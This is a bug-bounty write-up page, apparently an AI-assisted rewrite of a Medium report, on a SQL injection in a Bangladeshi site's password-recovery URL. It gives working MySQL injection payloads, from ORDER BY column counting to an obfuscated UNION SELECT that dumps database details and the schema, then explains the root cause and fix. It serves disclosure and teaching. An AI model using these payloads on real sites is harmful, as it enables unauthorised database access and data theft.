Skip to content
SQL injection Write-up Intermediate

Bug Bounty at Bangladeshi Site.

A password-recovery page on a Bangladeshi site accepted a user identifier in the URL and passed it into a SQL query without sanitisation, so an attacker could inject SQL and read database contents. The author demonstrated error-based and union-based injection to extract the database version, current user and database name.

Shaifullah Shaon Follow

Published on medium.com

Bounty$120 View original

I was that panel Yet and I was Reported that Issue Yet. After Gotten This Issue I was Got 10K BDT yet.

Shaifullah Shaon, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

This write-up covers a SQL injection found on a Bangladeshi site, in the password recovery feature. The researcher, Shaifullah Shaon (Black_EyE), describes himself as Admin (CEO) at Cyber Terminator Army. The report does not name the organisation behind the site, and the host and directory names are shown here as they appear in the report, with the directory referred to as (Another Dir).

The feature involved is the account recovery flow. A user creates an account, and the recovery page takes a user id and a username as query parameters:

Text
http://rediact.com/(Another Dir)/recover_pass/?id=(user id as num)&uname=(username)

Normally this page would look up the account matching the supplied id and username so that a password reset can be started. In this case the id parameter was placed into a SQL query without adequate handling, which allowed the researcher to inject SQL through it.

Setup

The report describes the following preconditions and steps:

  1. The researcher had previously found and reported an issue on the same site, at http://rediact.com/(Another Dir)/admin, and had received 10K BDT for it.
  2. About eight months later he returned to look for another bug.
  3. He created a new account on the site and deliberately did not verify it with a mobile number.
  4. He then used the password recovery function on that account.

No specific tools or versions are named in the report. The payloads use mixed-case keywords and MySQL-specific syntax, which indicates the backend was MySQL, but the report does not state the database version or any server details.

Finding it

Returning to the old admin URL, the researcher found it no longer existed:

Text
http://rediact.com/(Another Dir)/admin == > 404 Not Found!!!

He then removed /admin and found the site itself working. Replacing /admin with /login returned 403 Forbidden:

He went back to the site root:

Text
http://rediact.com/(Another Dir)/

He created a new account and did not verify it with a mobile number. He then tried to recover the password for that account. The recovery request he observed was:

Text
http://rediact.com/(Another Dir)/recover_pass/?id=(user id as num)&uname=(username)

The id parameter is a numeric user id and uname is the username, both passed in the query string.

Exploitation

Step 1: Confirm the parameter is injectable

He appended a single quote to the id value:

Text
http://rediact.com/(Another Dir)/recover_pass/?id=(user id as num)'&uname=(username) => Error

The page returned an error, which suggested the quote was breaking the SQL statement. He then tried a comment-terminated version:

Text
http://rediact.com/(Another Dir)/recover_pass/?id=(user id as num)' -- -&uname=(username) => Error

This also returned an error. He then dropped the quote and used only the comment:

Text
http://rediact.com/(Another Dir)/recover_pass/?id=(user id as num) -- -&uname=(username) => 200 ok

This returned 200 OK. The behaviour is consistent with the id value being concatenated into a query without quotes around it: a trailing quote breaks the syntax, while a comment sequence truncates the rest of the statement and leaves a valid query.

Step 2: Find the column count with ORDER BY

He used ORDER BY with increasing numbers to determine how many columns the underlying query returns:

Text
http://rediact.com/(Another Dir)/recover_pass/?id=(user id as num)order by 10 -- -&uname=(username) => error
Text
http://rediact.com/(Another Dir)/recover_pass/?id=(user id as num)order by 2 -- -&uname=(username) => 200 ok
Text
http://rediact.com/(Another Dir)/recover_pass/?id=(user id as num)order by 3 -- -&uname=(username) => 200 ok
Text
http://rediact.com/(Another Dir)/recover_pass/?id=(user id as num)order by 4 -- -&uname=(username) => error

ORDER BY 10 errored, ORDER BY 2 and ORDER BY 3 returned 200 OK, and ORDER BY 4 errored. That places the column count at three. The researcher describes this as finding the length of the vulnerable column.

Step 3: UNION SELECT with a false condition

With three columns known, he used a UNION SELECT preceded by a false condition so that only the injected row would be returned:

Text
http://rediact.com/(Another Dir)/recover_pass/?id=(user id as num) and false uNioN SeLecT 1,2,3 -- -&uname=(username) => 200 ok

He notes that his usual pattern is to write union select in mixed case. The request returned 200 OK.

Step 4: Identify the reflected column

He then replaced the third value with a marker to see which column is rendered on the page:

Text
http://rediact.com/(Another Dir)/recover_pass/?id=(user id as num) and false uNioN SeLecT 1,2,vulnerable -- -&uname=(username) => 200 ok

This returned 200 OK.

Step 5: Extract database information

He then placed a concatenation into the third column to pull out version, user, database name and the list of tables and columns:

Text
http://rediact.com/(Another Dir)/recover_pass/?id=(user id as num) and false uNioN SeLecT 1,2,COncAt(version(),0x3c2f7469746c653e,[redacted],[redacted],[redacted],0x55534552203d,user(),0x3c62723e,[redacted],0x56455253494f4e203d,version(),0x3c62723e,[redacted],0x4441544142415345203d20,database(),0x3c62723e,[redacted],(/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),(/*!12345sELecT*/(@)from(`InFoRMAtiON_sCHeMa`.`ColUMNs`)where(`TAblE_sCHemA`=DatAbAsE/*data*/())and(@)in(@:=CoNCat
(@,0x3c62723e ,TaBLe_nAMe,0x203a3a20,column_name))))a)) -- -&uname=(username) => 200 ok

The payload does several things:

  • and false makes the original condition fail so only the union row is shown.
  • uNioN SeLecT 1,2,... puts the output into the third, reflected column.
  • COncAt(...) joins the results together. The hex strings are HTML fragments: closing tags, a red font, an <h1> reading Injected By Cloudy Virus, a <br>, a blue font with USER =, a green font with VERSION =, a purple font with DATABASE =, and a magenta font before the schema dump.
  • user(), version() and database() return the current database user, the MySQL version and the current database name.
  • The nested (/*!12345sELecT*/(@)from(...)) block uses a user variable @ to accumulate the table and column names from INFORMATION_SCHEMA.COLUMNS where the table schema equals the current database. The /*!12345 ... */ form is a MySQL versioned comment, which executes the enclosed SQL when the server version is at least 5.0.0. The /*data*/ comment inside DatAbAsE/*data*/() is a way of breaking up the function name while keeping it valid SQL.
  • 0x3c62723e is <br> and 0x203a3a20 is ::, so each row of the schema dump is separated by a line break and formatted as table :: column.

The request returned 200 OK.

From the original on medium.com

The screenshot accompanies the final payload.

Root cause

The id parameter from the recovery URL is placed into a SQL query without being constrained to an integer or parameterised. The evidence in the report is behavioural: a trailing quote produces an error, a comment sequence produces a valid query, and ORDER BY and UNION SELECT both change the result. That is consistent with string concatenation of the raw parameter into the statement.

The uname parameter is present in every request but the researcher does not test it separately, so the report does not establish whether it is also injectable.

Impact

With this injection an attacker can read data from the database that the application's database user can access. In the demonstrated case that includes the database user name, the MySQL version, the current database name, and the table and column names from INFORMATION_SCHEMA.

The researcher reached the recovery page with an unverified account, so the injection does not appear to require a verified account.

Fix

The appropriate fix is to treat id as an integer: cast or validate it as numeric before use, and use parameterised queries or prepared statements so the value cannot alter the SQL statement. The same treatment should be applied to uname. Error messages from the database should not be returned to the client, since the error and non-error responses were what made the injection easy to confirm.

Variants to test

  1. Test the uname parameter on the same recovery page with a quote and a comment, and compare the responses. A positive result is a change from a normal page to an error, or a valid page when a comment is appended.
  2. Test other numeric identifiers in account-related URLs, such as profile, order or message ids, with ORDER BY increments. A positive result is a consistent boundary where one number returns a normal page and the next returns an error.
  3. Test the same recovery flow on accounts that are verified and unverified. A positive result is that the injection behaves the same in both cases, showing verification is not a barrier.
  4. Test whether the reflected column can be used to read application tables, not just INFORMATION_SCHEMA, by substituting a subquery for the third column. A positive result is application data appearing on the page.
  5. Test whether stacked queries are possible by appending a second statement after the comment. A positive result is a change in behaviour that cannot be explained by the first statement alone.

Timeline

The researcher gives the following dates:

Event Date
Issue reported 10th January, 2018
Reply received 10th January, 2018
Bounty paid 18th February, 2018

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 10 min read.

What happened, in plain words

A security researcher, Shaifullah Shaon (who also goes by Black_EyE and describes himself as Admin and CEO at Cyber Terminator Army), found a way to make a website's password recovery page run database commands that he chose. This kind of flaw is called SQL injection. The site is a Bangladeshi site; the report does not name the organisation behind it, and the folder in the address is shown as (Another Dir).

Think of a website's database as a very large, very organised filing cabinet, and the website as a clerk who fetches files from it. Normally you ask the clerk for one specific file and the clerk reads your request from a form. SQL injection is what happens when you can write extra instructions on that form, so the clerk fetches not just the file you asked for but also reads out the contents of other drawers. Here, the form field was the id number in the password recovery link.

The feature involved is the account recovery flow. You create an account, and the recovery page takes a user id and a username in the address itself:

Text
http://rediact.com/(Another Dir)/recover_pass/?id=(user id as num)&uname=(username)

Normally this page would look up the account matching the supplied id and username so that a password reset can be started. In this case the id value was placed into a database query without adequate handling, which let the researcher slip his own database instructions in through it.

Setup

The report describes these preconditions and steps:

  1. The researcher had previously found and reported an issue on the same site, at http://rediact.com/(Another Dir)/admin, and had received 10K BDT for it. BDT is Bangladeshi taka, the local currency.
  2. About eight months later he came back to look for another bug.
  3. He created a new account on the site and did not verify it with a mobile number.
  4. He then used the password recovery function on that account.

No specific tools or versions are named in the report. The payloads use mixed-case keywords and MySQL-specific syntax, which indicates the backend was MySQL, a popular free database system, but the report does not state the database version or any server details.

Finding it

Returning to the old admin URL, the researcher found it no longer existed:

Text
http://rediact.com/(Another Dir)/admin == > 404 Not Found!!!

A 404 is the standard web response for "this page does not exist".

He then removed /admin from the address and found the site itself working. Replacing /admin with /login returned 403 Forbidden:

A 403 is the standard response for "this page exists but you are not allowed to see it". That difference mattered: a missing page says 404, a blocked page says 403. He went back to the site root:

Text
http://rediact.com/(Another Dir)/

He created a new account and did not verify it with a mobile number. He then tried to recover the password for that account. The recovery request he observed was:

Text
http://rediact.com/(Another Dir)/recover_pass/?id=(user id as num)&uname=(username)

The id parameter is a numeric user id and uname is the username, both passed in the query string, which is the part of a web address after the ?.

Exploitation

Step 1: Confirm the parameter is injectable

He appended a single quote to the id value:

Text
http://rediact.com/(Another Dir)/recover_pass/?id=(user id as num)'&uname=(username) => Error

The page returned an error, which suggested the quote was breaking the database statement. In SQL, text values are wrapped in single quotes, so an extra quote can end the text early and leave the rest of the instruction malformed. He then tried a comment-terminated version:

Text
http://rediact.com/(Another Dir)/recover_pass/?id=(user id as num)' -- -&uname=(username) => Error

This also returned an error. The -- - sequence is a SQL comment marker: everything after it is ignored by the database. He then dropped the quote and used only the comment:

Text
http://rediact.com/(Another Dir)/recover_pass/?id=(user id as num) -- -&uname=(username) => 200 ok

This returned 200 OK, the standard "here is your page" response. The behaviour is consistent with the id value being concatenated into a query without quotes around it: a trailing quote breaks the syntax, while a comment sequence truncates the rest of the statement and leaves a valid query. In other words, the site was building its database instruction by gluing his text directly onto the end of its own.

Step 2: Find the column count with ORDER BY

He used ORDER BY with increasing numbers to determine how many columns the underlying query returns:

Text
http://rediact.com/(Another Dir)/recover_pass/?id=(user id as num)order by 10 -- -&uname=(username) => error
Text
http://rediact.com/(Another Dir)/recover_pass/?id=(user id as num)order by 2 -- -&uname=(username) => 200 ok
Text
http://rediact.com/(Another Dir)/recover_pass/?id=(user id as num)order by 3 -- -&uname=(username) => 200 ok
Text
http://rediact.com/(Another Dir)/recover_pass/?id=(user id as num)order by 4 -- -&uname=(username) => error

ORDER BY is SQL for "sort the results by this column number". If you ask it to sort by a column that does not exist, the database complains. ORDER BY 10 errored, ORDER BY 2 and ORDER BY 3 returned 200 OK, and ORDER BY 4 errored. That places the column count at three: columns 2 and 3 exist, column 4 does not. The researcher describes this as finding the length of the vulnerable column.

Step 3: UNION SELECT with a false condition

With three columns known, he used a UNION SELECT preceded by a false condition so that only the injected row would be returned:

Text
http://rediact.com/(Another Dir)/recover_pass/?id=(user id as num) and false uNioN SeLecT 1,2,3 -- -&uname=(username) => 200 ok

UNION SELECT is SQL for "also return these rows, on top of the normal ones". The and false makes the site's own lookup fail, so the only row left is the one he supplied. He notes that his usual pattern is to write union select in mixed case. The request returned 200 OK.

Step 4: Identify the reflected column

He then replaced the third value with a marker to see which column is rendered on the page:

Text
http://rediact.com/(Another Dir)/recover_pass/?id=(user id as num) and false uNioN SeLecT 1,2,vulnerable -- -&uname=(username) => 200 ok

This returned 200 OK.

Step 5: Extract database information

He then placed a concatenation into the third column to pull out version, user, database name and the list of tables and columns:

Text
http://rediact.com/(Another Dir)/recover_pass/?id=(user id as num) and false uNioN SeLecT 1,2,COncAt(version(),0x3c2f7469746c653e,[redacted],[redacted],[redacted],0x55534552203d,user(),0x3c62723e,[redacted],0x56455253494f4e203d,version(),0x3c62723e,[redacted],0x4441544142415345203d20,database(),0x3c62723e,[redacted],(/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),(/*!12345sELecT*/(@)from(`InFoRMAtiON_sCHeMa`.`ColUMNs`)where(`TAblE_sCHemA`=DatAbAsE/*data*/())and(@)in(@:=CoNCat
(@,0x3c62723e ,TaBLe_nAMe,0x203a3a20,column_name))))a)) -- -&uname=(username) => 200 ok

The payload does several things:

  • and false makes the original condition fail so only the union row is shown.
  • uNioN SeLecT 1,2,... puts the output into the third, reflected column.
  • COncAt(...) joins the results together. The hex strings are HTML fragments: closing tags, a red font, an <h1> reading Injected By Cloudy Virus, a <br>, a blue font with USER =, a green font with VERSION =, a purple font with DATABASE =, and a magenta font before the schema dump. Hex is just a way of writing text as numbers so that quote characters do not get in the way.
  • user(), version() and database() return the current database user, the MySQL version and the current database name.
  • The nested (/*!12345sELecT*/(@)from(...)) block uses a user variable @ to accumulate the table and column names from INFORMATION_SCHEMA.COLUMNS where the table schema equals the current database. INFORMATION_SCHEMA is the database's own built-in catalogue, the equivalent of the filing cabinet's index cards. The /*!12345 ... */ form is a MySQL versioned comment, which executes the enclosed SQL when the server version is at least 5.0.0. The /*data*/ comment inside DatAbAsE/*data*/() is a way of breaking up the function name while keeping it valid SQL.
  • 0x3c62723e is <br> and 0x203a3a20 is ::, so each row of the schema dump is separated by a line break and formatted as table :: column.

The request returned 200 OK.

From the original on medium.com

The screenshot accompanies the final payload.

Root cause

The id parameter from the recovery URL is placed into a SQL query without being constrained to an integer or parameterised. The evidence in the report is behavioural: a trailing quote produces an error, a comment sequence produces a valid query, and ORDER BY and UNION SELECT both change the result. That is consistent with string concatenation of the raw parameter into the statement.

The uname parameter is present in every request but the researcher does not test it separately, so the report does not establish whether it is also injectable.

Impact

With this injection an attacker can read data from the database that the application's database user can access. In the demonstrated case that includes the database user name, the MySQL version, the current database name, and the table and column names from INFORMATION_SCHEMA.

The researcher reached the recovery page with an unverified account, so the injection does not appear to require a verified account.

Fix

The appropriate fix is to treat id as an integer: cast or validate it as numeric before use, and use parameterised queries or prepared statements so the value cannot alter the SQL statement. A parameterised query is one where the value is handed to the database separately from the instruction, like putting a letter in an envelope instead of writing it into the middle of a sentence. The same treatment should be applied to uname. Error messages from the database should not be returned to the client, since the error and non-error responses were what made the injection easy to confirm.

Variants to test

  1. Test the uname parameter on the same recovery page with a quote and a comment, and compare the responses. A positive result is a change from a normal page to an error, or a valid page when a comment is appended.
  2. Test other numeric identifiers in account-related URLs, such as profile, order or message ids, with ORDER BY increments. A positive result is a consistent boundary where one number returns a normal page and the next returns an error.
  3. Test the same recovery flow on accounts that are verified and unverified. A positive result is that the injection behaves the same in both cases, showing verification is not a barrier.
  4. Test whether the reflected column can be used to read application tables, not just INFORMATION_SCHEMA, by substituting a subquery for the third column. A positive result is application data appearing on the page.
  5. Test whether stacked queries are possible by appending a second statement after the comment. A positive result is a change in behaviour that cannot be explained by the first statement alone.

Timeline

The researcher gives the following dates:

Event Date
Issue reported 10th January, 2018
Reply received 10th January, 2018
Bounty paid 18th February, 2018

Glossary

  • SQL: the language used to ask a database for information and to change it.
  • SQL injection: a flaw where user input is pasted into a database instruction, letting the user add instructions of their own.
  • Database: an organised store of data that a website reads from and writes to.
  • MySQL: a popular free database system; the syntax in this report is MySQL-specific.
  • Query string: the part of a web address after the ?, carrying values such as id and uname.
  • Parameter: a named value in a request, here id and uname.
  • 404 Not Found: the standard response meaning the page does not exist.
  • 403 Forbidden: the standard response meaning the page exists but you are not allowed to see it.
  • 200 OK: the standard response meaning the request succeeded and the page is being returned.
  • Comment (SQL): a marker such as -- - that tells the database to ignore everything after it.
  • ORDER BY: SQL for sorting results by a column number; used here to count columns.
  • Column: one field in a database table, for example a username or a password.
  • UNION SELECT: SQL for adding extra rows to a query's results.
  • Concatenation: joining pieces of text together end to end.
  • Hex string: text written as hexadecimal numbers, used here to smuggle HTML into the query.
  • HTML: the markup language that describes what a web page displays.
  • User variable (@): a temporary named value inside a MySQL session, used here to build up a long string.
  • INFORMATION_SCHEMA: the database's built-in catalogue listing its tables and columns.
  • Versioned comment (/*!12345 ... */): a MySQL comment that is executed as SQL when the server version is at least 5.0.0.
  • Schema: the structure of a database: its tables and columns.
  • Parameterised query / prepared statement: a way of sending values to a database separately from the instruction, so they cannot change it.
  • Authentication: proving who you are, for example by logging in.
  • Bounty: a reward paid for reporting a security flaw.
  • BDT: Bangladeshi taka, the currency of Bangladesh.
  • USD: United States dollar.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.